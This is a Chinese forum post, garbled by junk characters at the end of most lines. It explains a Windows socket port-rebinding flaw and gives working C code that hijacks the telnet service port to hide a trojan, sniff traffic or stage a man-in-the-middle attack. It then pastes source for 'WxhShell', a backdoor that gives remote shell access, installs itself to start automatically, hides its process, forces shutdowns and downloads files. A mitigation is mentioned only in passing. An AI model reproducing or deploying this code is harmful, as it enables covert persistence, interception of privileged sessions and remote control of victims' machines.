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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <!4'?K-N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vx?a&{3]-  
.!=2#<  
  saddr.sin_family = AF_INET; wVw3YIN#  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~ dmyS?Or  
?2DYz"/')  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }0qgvw  
N{oD1%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $FCLo8/=  
Jf4D">h  
  这意味着什么?意味着可以进行如下的攻击: ar>S_VW*  
g6 r3V.X'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 / 1E6U6  
* 496"kU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $40tAes9  
kg9ZSkJr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q[**i[+%  
Z>M0[DJ_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8CwgV  
\>M3E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M0n@?S  
265df Y9Pu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (w)Qt/P^4  
L?<V KT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E}4R[6YD  
E+F!u5u  
  #include 1 ^Ci$ra  
  #include E3sl"d;~  
  #include \*a7DuVw  
  #include    @k ~Xem%<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :\gdQG  
  int main() ;h3c+7u1  
  { & P,8 )YA  
  WORD wVersionRequested; wVV'9pw}  
  DWORD ret; If2f7{b  
  WSADATA wsaData; _ jF, k>F  
  BOOL val; YDdmT7Ow  
  SOCKADDR_IN saddr; #t po@pJsE  
  SOCKADDR_IN scaddr; VbJGyjx  
  int err; s$|GVv1B  
  SOCKET s; 3S +.]v>  
  SOCKET sc; RE7 I"  
  int caddsize; #!C/~"Y*`|  
  HANDLE mt; M|7xI  
  DWORD tid;   FL"7u2rh,  
  wVersionRequested = MAKEWORD( 2, 2 ); "J3@Z,qW  
  err = WSAStartup( wVersionRequested, &wsaData ); ;NB J@E,  
  if ( err != 0 ) { jQ(qaX&  
  printf("error!WSAStartup failed!\n"); 2["bS++?  
  return -1; y kwS-e  
  } 1Ep!U#Del  
  saddr.sin_family = AF_INET; U''/y\Z  
   .@.O*n#K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >>F E?@  
Gpo(Zf?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $hn #T#J3  
  saddr.sin_port = htons(23); 4*G#fW-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ebp18_a|  
  { ixp(^>ZN  
  printf("error!socket failed!\n"); YN.rj-;^+  
  return -1; )lBke*j~  
  } .Hc]?R ]  
  val = TRUE; +Ae4LeVzc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 349W0>eOT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #1&w fI$  
  { GUJx?V/[  
  printf("error!setsockopt failed!\n"); MG<F.u  
  return -1; /87?U; |V  
  } yM=% a3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,J!G-?:@n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5@F1E8T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MXq+aS{  
\l"1Io=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e4j:IK>  
  { 7GB>m}7  
  ret=GetLastError(); -5\hZ!!J2  
  printf("error!bind failed!\n"); ^fQ ]>/u  
  return -1; oZQ% P  
  } LlrUJ-uC7  
  listen(s,2); Xg_M{t  
  while(1) f{t5r  
  { IlN9IF\9L  
  caddsize = sizeof(scaddr); 9l+'V0?`  
  //接受连接请求 -}AAA*P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PB(mUD2"r  
  if(sc!=INVALID_SOCKET) &k+ jVymH  
  { 4w<U%57  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f]jAa?d T&  
  if(mt==NULL) ,Hlbl}.ls  
  { iqRk\yq<  
  printf("Thread Creat Failed!\n"); 1}%vZE2  
  break; [z5pqd-  
  } x9hkE!{8  
  } &O/;YGEAB  
  CloseHandle(mt); g+bc4eU  
  } ]p:s5Q  
  closesocket(s); J-P> ~ L"  
  WSACleanup(); F\^9=}b_i  
  return 0; :D\M.A  
  }   #/=s74.b  
  DWORD WINAPI ClientThread(LPVOID lpParam) d %1j4JE{  
  { jgQn^  
  SOCKET ss = (SOCKET)lpParam; 8' M4 3n  
  SOCKET sc; ]DHB'NOh,  
  unsigned char buf[4096]; eG55[V<!  
  SOCKADDR_IN saddr; kc Q~}uFB  
  long num; 2f2Vy:&O_  
  DWORD val; k?zw4S  
  DWORD ret; ANR?An  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |08b=aR6ro  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1MkQ$v7m  
  saddr.sin_family = AF_INET; p6VS<L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Zi<Y?Vm/,O  
  saddr.sin_port = htons(23); e* {'A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ecfw[4B`  
  { G~b/!clN  
  printf("error!socket failed!\n"); o EXN$SIs  
  return -1; 4! ]28[2B6  
  } 5?9K%x'b  
  val = 100; (,*e\o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |=&[sC  
  { j> Ce06G  
  ret = GetLastError(); o/I'Qi$v-  
  return -1; 2uujA* ^  
  } Kx==vq%39  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >c %*:a  
  { >1q W*  
  ret = GetLastError(); wK>a&`<  
  return -1; us%dw&   
  } 2l^hnog|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T?B753I  
  { 0' j/ 9vm  
  printf("error!socket connect failed!\n"); -9W)|toWb"  
  closesocket(sc); O~D>F*_^j  
  closesocket(ss); .K%1{`.|  
  return -1; Wwo'pke  
  } *i3\`;^=  
  while(1) xvn@zi  
  { *|n-Hr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !:"$1kh1("  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 : E`/z@I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4}-{sS}MP  
  num = recv(ss,buf,4096,0); _-mSK/Z  
  if(num>0) <~s{&cL!%#  
  send(sc,buf,num,0); *f<+yF{=A  
  else if(num==0) Vcjmj  
  break; r I)Y W0  
  num = recv(sc,buf,4096,0); E "9`  
  if(num>0) t*J *?Ma  
  send(ss,buf,num,0); '9@} =pE  
  else if(num==0) Fq>tl 64A  
  break; IP<]a5  
  } >(T)9fKF  
  closesocket(ss); p6P .I8g  
  closesocket(sc); X^Dklqqy  
  return 0 ; /<zBjvr%%  
  } eI99itDQ  
Q1hHK'3w  
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========================================================== :qlcN@_  
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下边附上一个代码,,WXhSHELL wN}@%D-[v  
:]]#X ~J  
========================================================== b~oQhU??"  
 ZDn5d%  
#include "stdafx.h" ^/c v8M=  
aUZh_<@  
#include <stdio.h> f%ThS42  
#include <string.h> TjDDvXY  
#include <windows.h> _`|te|ccF  
#include <winsock2.h> MuI>ZoNF  
#include <winsvc.h> 9Kl:3C  
#include <urlmon.h> 9$<1<  
)(CZK&<  
#pragma comment (lib, "Ws2_32.lib") m+m2<|%x  
#pragma comment (lib, "urlmon.lib") +q<G%PwbV  
E]@$,)nC  
#define MAX_USER   100 // 最大客户端连接数 )O}q{4,}  
#define BUF_SOCK   200 // sock buffer $f>h_8cla  
#define KEY_BUFF   255 // 输入 buffer L'A9TW2  
}Zuk}Og9+  
#define REBOOT     0   // 重启 {~*^jS']5  
#define SHUTDOWN   1   // 关机 ;zF3e&e(  
VA D9mS^~  
#define DEF_PORT   5000 // 监听端口 |!Ryl}Oi  
r3OR7f[  
#define REG_LEN     16   // 注册表键长度 vIzREu|5  
#define SVC_LEN     80   // NT服务名长度 `PoFKtVX M  
Gn?NY}.S  
// 从dll定义API Po B-:G6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,y>Sq +  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r3;@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :o"9x,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mZG)#gW[  
qp##>c31X  
// wxhshell配置信息 ;URvZ! {/Z  
struct WSCFG { #S4lRVt5  
  int ws_port;         // 监听端口 WWBm*?U  
  char ws_passstr[REG_LEN]; // 口令 HP,sNiw  
  int ws_autoins;       // 安装标记, 1=yes 0=no IoAG!cS  
  char ws_regname[REG_LEN]; // 注册表键名 #OMFv.  
  char ws_svcname[REG_LEN]; // 服务名 F9}jiCom  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I,8f{T!O@"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %noByq,?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MJ?fMR@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BG&XCn5g|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VY1&YR}Y  
](@HPAG]  
}; :z-UnC||j  
#Ch*a.tI@  
// default Wxhshell configuration ~vPR9\e  
struct WSCFG wscfg={DEF_PORT, {3LAK[ C  
    "xuhuanlingzhe", [C-4*qOaa2  
    1, K HO@"+  
    "Wxhshell", q}xYme4  
    "Wxhshell", R` HC EX)  
            "WxhShell Service", D\H;_k8  
    "Wrsky Windows CmdShell Service", rWMG6+Scb  
    "Please Input Your Password: ", % S vfY{  
  1, {VmJVO]S  
  "http://www.wrsky.com/wxhshell.exe", gJFx#s0?6.  
  "Wxhshell.exe" zBjtPtiiI8  
    }; fHV%.25  
nDU=B.?E{O  
// 消息定义模块 p[^a4E_v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ip_deP@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]I^b&N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I%<LLkQ  
char *msg_ws_ext="\n\rExit."; ?:AD&Dn  
char *msg_ws_end="\n\rQuit."; qG)M8xk  
char *msg_ws_boot="\n\rReboot..."; yQz6K6p  
char *msg_ws_poff="\n\rShutdown..."; Y#<>N-X|kA  
char *msg_ws_down="\n\rSave to "; A||,|He~  
6"djX47j  
char *msg_ws_err="\n\rErr!"; S*3*Q l*  
char *msg_ws_ok="\n\rOK!"; &l8eljg  
}nx5  
char ExeFile[MAX_PATH]; [:BD9V  
int nUser = 0; \8<ZPqt9  
HANDLE handles[MAX_USER]; H_n Ilku  
int OsIsNt; V] 0T P#  
pf8M0,AY  
SERVICE_STATUS       serviceStatus; (ebC80M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E#zLm  
eHl)/='  
// 函数声明 U_KCN09  
int Install(void); q]2t3aY%  
int Uninstall(void); S HxD(6  
int DownloadFile(char *sURL, SOCKET wsh); 1DR ih>+#  
int Boot(int flag); kMx^L;:n  
void HideProc(void); , G2( l  
int GetOsVer(void); dTrz7ayH  
int Wxhshell(SOCKET wsl); E' _6v  
void TalkWithClient(void *cs); `i5\(cdl  
int CmdShell(SOCKET sock); MLT ^7'y  
int StartFromService(void); ss0`9:z  
int StartWxhshell(LPSTR lpCmdLine); X#Sgf|$  
0&$,?CL?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I83 _x|$FZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5< $8.a#  
= 9!|%j  
// 数据结构和表定义 93VbB[w~7F  
SERVICE_TABLE_ENTRY DispatchTable[] = `8lS)R!  
{ w.o>G2u  
{wscfg.ws_svcname, NTServiceMain}, K6EG"Vv!  
{NULL, NULL} 'ju'O#A9  
}; `e[>S  
;k:17&:8ue  
// 自我安装 ?#~km0~F)  
int Install(void) K41Gn  
{ aoHAB<.C  
  char svExeFile[MAX_PATH]; Dq[Z0"8  
  HKEY key; [pxC3{|d$  
  strcpy(svExeFile,ExeFile); S;K5JBX0#  
ua!43Bp  
// 如果是win9x系统,修改注册表设为自启动 $W;f9k@C!  
if(!OsIsNt) { SVn $!t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %7hf6Xo=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kyH0J[/n  
  RegCloseKey(key); 9)*218.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i4}+n^oSYo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2|A?9aE%0  
  RegCloseKey(key); k?;@5r)y-  
  return 0; qYP;`L}o#  
    } J{U 171  
  } 85:KlBe%+  
} +5x{|!Pn  
else { z'01V8e  
Y !%2vOt  
// 如果是NT以上系统,安装为系统服务 k+@,m\tE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8J)Kn4jq  
if (schSCManager!=0) 3}2;*:p4Y  
{ lBzfBmEB  
  SC_HANDLE schService = CreateService 25Uw\rKeO  
  ( ER,!`C]  
  schSCManager, Vji:,k=3\  
  wscfg.ws_svcname, <nU8.?\?~  
  wscfg.ws_svcdisp, H7 "r^s]D  
  SERVICE_ALL_ACCESS, e<$s~ UXv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5p]V/<r  
  SERVICE_AUTO_START, RxE.t[  
  SERVICE_ERROR_NORMAL,  B9dc *  
  svExeFile, f=A`{ 8^  
  NULL,  r m  
  NULL, |OiM(E(  
  NULL, / ?'FSWDU  
  NULL, 3Z}v%=5 "  
  NULL Hxx]q+DAS  
  ); \SN>Yy  
  if (schService!=0) \Mzr[dI  
  { 8ly6CP+^B  
  CloseServiceHandle(schService); @|:yK|6O  
  CloseServiceHandle(schSCManager); muMd9\p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oU|_(p"e|  
  strcat(svExeFile,wscfg.ws_svcname); c'D NO~H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HX{K5+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N u3B02D*  
  RegCloseKey(key); l5nm.i<M  
  return 0; WD@v<Wx)  
    } =Eb$rc)  
  } ;}H*|"z;!  
  CloseServiceHandle(schSCManager); VVbFn9+V  
} E[Q2ZqhgbP  
} wGw<z[:f  
q"i]&dMr  
return 1; VCzb[.  
} z.Vf,<H  
.@0@Y  
// 自我卸载 9-Z ?  
int Uninstall(void) mu2|%$C;$  
{ 2cjbb kq  
  HKEY key; E9\u^"GVO  
v7/k0D .  
if(!OsIsNt) { lnGg1/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D*/fY=gK  
  RegDeleteValue(key,wscfg.ws_regname); g:s|D hE[  
  RegCloseKey(key); A=sz8?K+`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [!#}#  
  RegDeleteValue(key,wscfg.ws_regname); G- |  
  RegCloseKey(key); 67Ev$a_d"  
  return 0; #&b<D2d  
  } cTQ._|M  
} ITy/h]0  
} CfT(a!;Eox  
else { 6_&S ?yA  
WRrg5&._q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  z31g"  
if (schSCManager!=0) nRyx2\Py+  
{ 6rM{r>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vVZ+u4y  
  if (schService!=0) \opcn\vW  
  { ZH<qidpR  
  if(DeleteService(schService)!=0) { Qxfds`4V9i  
  CloseServiceHandle(schService); -jzoGzC3  
  CloseServiceHandle(schSCManager); U]W "  
  return 0; {55f{5y3 c  
  } y@SI)&D  
  CloseServiceHandle(schService); klMpiy  
  } < lUpvr  
  CloseServiceHandle(schSCManager); b2H -D!YO^  
} 0p+3 6g  
} a'g&1N0Rc  
'w=aLu5dY  
return 1; >2v<;.  
} X|yVRQ?F`  
6n|][! f  
// 从指定url下载文件 4+89 M  
int DownloadFile(char *sURL, SOCKET wsh) [_`@ V4  
{ k;K-6<^h  
  HRESULT hr; 0+k..l  
char seps[]= "/"; +R7pdi  
char *token; BSL+Gjj~}  
char *file; Fkg%_v$  
char myURL[MAX_PATH]; B.!&z-)#  
char myFILE[MAX_PATH]; c D .;  
X3] [C  
strcpy(myURL,sURL); uqD|j:~ =k  
  token=strtok(myURL,seps); s@E) =;!  
  while(token!=NULL) nvA7eTO6C  
  { L F&!od9[  
    file=token; 2Da0*xn{  
  token=strtok(NULL,seps); [dXa,  
  } BY9Z}/{j  
D< kf/hj  
GetCurrentDirectory(MAX_PATH,myFILE); ?M^qSo=/~  
strcat(myFILE, "\\"); jxZf,]>T  
strcat(myFILE, file); Dk&(QajL  
  send(wsh,myFILE,strlen(myFILE),0); ~pHuh#>  
send(wsh,"...",3,0); h/2@4XKj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %<r}V<OeR  
  if(hr==S_OK) <m0=bm{j  
return 0; E@6gTx*  
else a|(|!=  
return 1; aPRMpY-YC3  
/ U!xh3  
} I`s~.fZt  
2`rJr  
// 系统电源模块 omznSL  
int Boot(int flag) 'V8o["P  
{ 0+[3>Ny 0  
  HANDLE hToken; `l6OQdB3W  
  TOKEN_PRIVILEGES tkp; JDW/Mc1bh  
"Pu917_P  
  if(OsIsNt) { ?]aVRmL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  8hYl73#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?2R!n" m-d  
    tkp.PrivilegeCount = 1; 76] Z~^Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^=a:{["@!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qn~{TZz  
if(flag==REBOOT) { \y6Y}Cv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ko|M2\  
  return 0; _v(5vx_ {  
} p8"C`bCf  
else { cm!|A?-<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .l|29{J  
  return 0; stMxlG"d  
} tc{l?7P  
  } Ov4=!o=  
  else { vE1:;%Q  
if(flag==REBOOT) { 45x4JG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ROvY,-?  
  return 0; ~*J <lln  
} Dm$SW<!l|  
else { 4.Fh4Y:$'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) um%s9  
  return 0; mY[*Cj3WJ  
} atW^^4 :  
} t~)4f.F:  
nE?:nJ|%E  
return 1; WncHgz  
} f,|;eF-Z  
\Ui8gDJ8y5  
// win9x进程隐藏模块 )T?BO  
void HideProc(void) OH@gwC  
{ 2Nx:Y+[  
9P,[MZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $at\aJ  
  if ( hKernel != NULL ) bxO[y<|XL  
  { {<a)+S.6U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9Y2.ob!$}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )2 q r^)  
    FreeLibrary(hKernel); 4F6I7lu  
  } ~C3J-z<  
tOte[~,  
return; |eg8F$WU  
} xi4b;U j  
G$)tp^%]  
// 获取操作系统版本 PW iuM=E  
int GetOsVer(void) .:4*HB  
{ I+ 3qu=  
  OSVERSIONINFO winfo; 6xY6EC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }eI9me@Aa  
  GetVersionEx(&winfo); @P>>:002/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8G2QI4  
  return 1; B5h)F> &G  
  else `sy_'`i>X  
  return 0; L_|iQwU%  
} gwsOw [;k  
O/$41mK+!  
// 客户端句柄模块 ,_/\pX0  
int Wxhshell(SOCKET wsl) O2yD{i#l*#  
{ wDSwcNS  
  SOCKET wsh; v-^<,|vm2f  
  struct sockaddr_in client; GMkni'pV  
  DWORD myID; 8|$g"? CU  
qT:`F  
  while(nUser<MAX_USER) +?*.Emzl@  
{ J5O/c,?g  
  int nSize=sizeof(client); $P)-o?eer  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pHye8v4fvi  
  if(wsh==INVALID_SOCKET) return 1; Cs,Cb2[  
 _VM}]A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XbeT x  
if(handles[nUser]==0) h,-i\8gq  
  closesocket(wsh); #Ye0*`  
else p&0 G  
  nUser++; H;@0L}Nu+}  
  } gNZ"Kr o6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `Fe/=]< $  
bD3d T>(+  
  return 0; K6)IBV;  
} I2NMn5>  
[} d39  
// 关闭 socket 9eE FX7  
void CloseIt(SOCKET wsh) : ;hm^m]Y  
{ a;kiAJ'  
closesocket(wsh); jsF5q~F  
nUser--; ME$J?3r  
ExitThread(0); .QA1'_9  
} Im};wJ&  
(lq%4h  
// 客户端请求句柄 j~=<O<P  
void TalkWithClient(void *cs) sFvYCRw /  
{ n=0^8QQ  
u-bgk(u  
  SOCKET wsh=(SOCKET)cs; +afkpvj8  
  char pwd[SVC_LEN]; Sj*W|n\gj  
  char cmd[KEY_BUFF]; Q,tjODc6n  
char chr[1]; #,FXc~V  
int i,j; #Aj#C>  
`K[r5;QFKf  
  while (nUser < MAX_USER) { x%T^:R  
qI tbY%  
if(wscfg.ws_passstr) { R%t|R7 9I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s ya!VF]`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y t_t>  
  //ZeroMemory(pwd,KEY_BUFF); KG96;l@'(  
      i=0; ;*U&lT  
  while(i<SVC_LEN) { V`i(vC(  
Zs;c0T ">  
  // 设置超时 9"L!A,&'  
  fd_set FdRead; { i4`- w  
  struct timeval TimeOut; ,6f6r  
  FD_ZERO(&FdRead); Se\iM s  
  FD_SET(wsh,&FdRead); Q&@<?K9  
  TimeOut.tv_sec=8; Y{@foIZ  
  TimeOut.tv_usec=0; o)CW7Y#?,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xi+l1xe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `r}a:w-  
Y(ClG*6 ++  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *_Ih@f H  
  pwd=chr[0]; ADP3Nic  
  if(chr[0]==0xd || chr[0]==0xa) { qC=ZH#  
  pwd=0; z,@R jaX  
  break; VG$%Vs  
  } y]!mN  
  i++; =%u=ma;  
    } CSwB+yN  
M:d|M|'  
  // 如果是非法用户,关闭 socket mZ3Z8q}%P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yM(ezb  
} x[BA <UNO  
C nD3%%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V=PK)FJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \[8uE,=|  
N ;n55N  
while(1) { N[DKA1Ei  
Pp4Q)2X  
  ZeroMemory(cmd,KEY_BUFF); 8Bxb~*  
41rS0QAM  
      // 自动支持客户端 telnet标准   |="Y3}a  
  j=0; (9] =;)  
  while(j<KEY_BUFF) { $%ztP Ta  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B < HD  
  cmd[j]=chr[0]; uMZ<i}  
  if(chr[0]==0xa || chr[0]==0xd) { qA25P<  
  cmd[j]=0; \ 9sJ`,T?  
  break; NjdDImz.;s  
  } hsQ*ozv[)  
  j++; l~@ -oE  
    } A9Pq}3U  
EIg:@o&Jj  
  // 下载文件 k^s7s{  
  if(strstr(cmd,"http://")) { & ##JZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z^KWYe'w  
  if(DownloadFile(cmd,wsh)) ,W_".aguX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nA=E|$1  
  else v|jwz.jM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9om}j  
  } k4^!"~<+0  
  else { S6_dmTV*  
1vq c8lC  
    switch(cmd[0]) { w'mn O'%  
  78]( ZYJV  
  // 帮助 ' (3|hh)Tl  
  case '?': { cz$*6P<9J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <#T #+uO  
    break; #,!/Cnqis  
  } OPv~1h<[  
  // 安装 e4.G9(  
  case 'i': { :<1PCX2  
    if(Install()) =RlAOgJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gA2]kZg  
    else )Oj{x0{\Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SK,UW6h  
    break; ,twm)%caU  
    } G49`a*Jn  
  // 卸载 !4$o*{9Lx:  
  case 'r': { e\*N Lj_(  
    if(Uninstall()) S3c%</'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /AUX7 m.8  
    else ? 8S~R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TLz>|gr  
    break; id1gK(F8H  
    } UGA` `;f  
  // 显示 wxhshell 所在路径 i/,IG+4vI  
  case 'p': { 2rS`ViicD  
    char svExeFile[MAX_PATH]; CraD  
    strcpy(svExeFile,"\n\r"); v0pev;C  
      strcat(svExeFile,ExeFile); 5&134!hC  
        send(wsh,svExeFile,strlen(svExeFile),0);  LD}<|  
    break; Y1{*AV6ev6  
    } eTY(~J#'  
  // 重启 ] ; B`'Ia  
  case 'b': { M-C>I;a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #ePtfRzJ  
    if(Boot(REBOOT)) zZPXI&,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AUr~b3< 6  
    else { ^F|/\i   
    closesocket(wsh); difAQ<`  
    ExitThread(0); {9nH#yv  
    } QnIF{TS=  
    break; e:|Bn>*  
    } ):5H,B+Vr&  
  // 关机 zf[KZ\6H   
  case 'd': { n55s7wzM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fZxEE~Q1  
    if(Boot(SHUTDOWN)) H4ancmy  
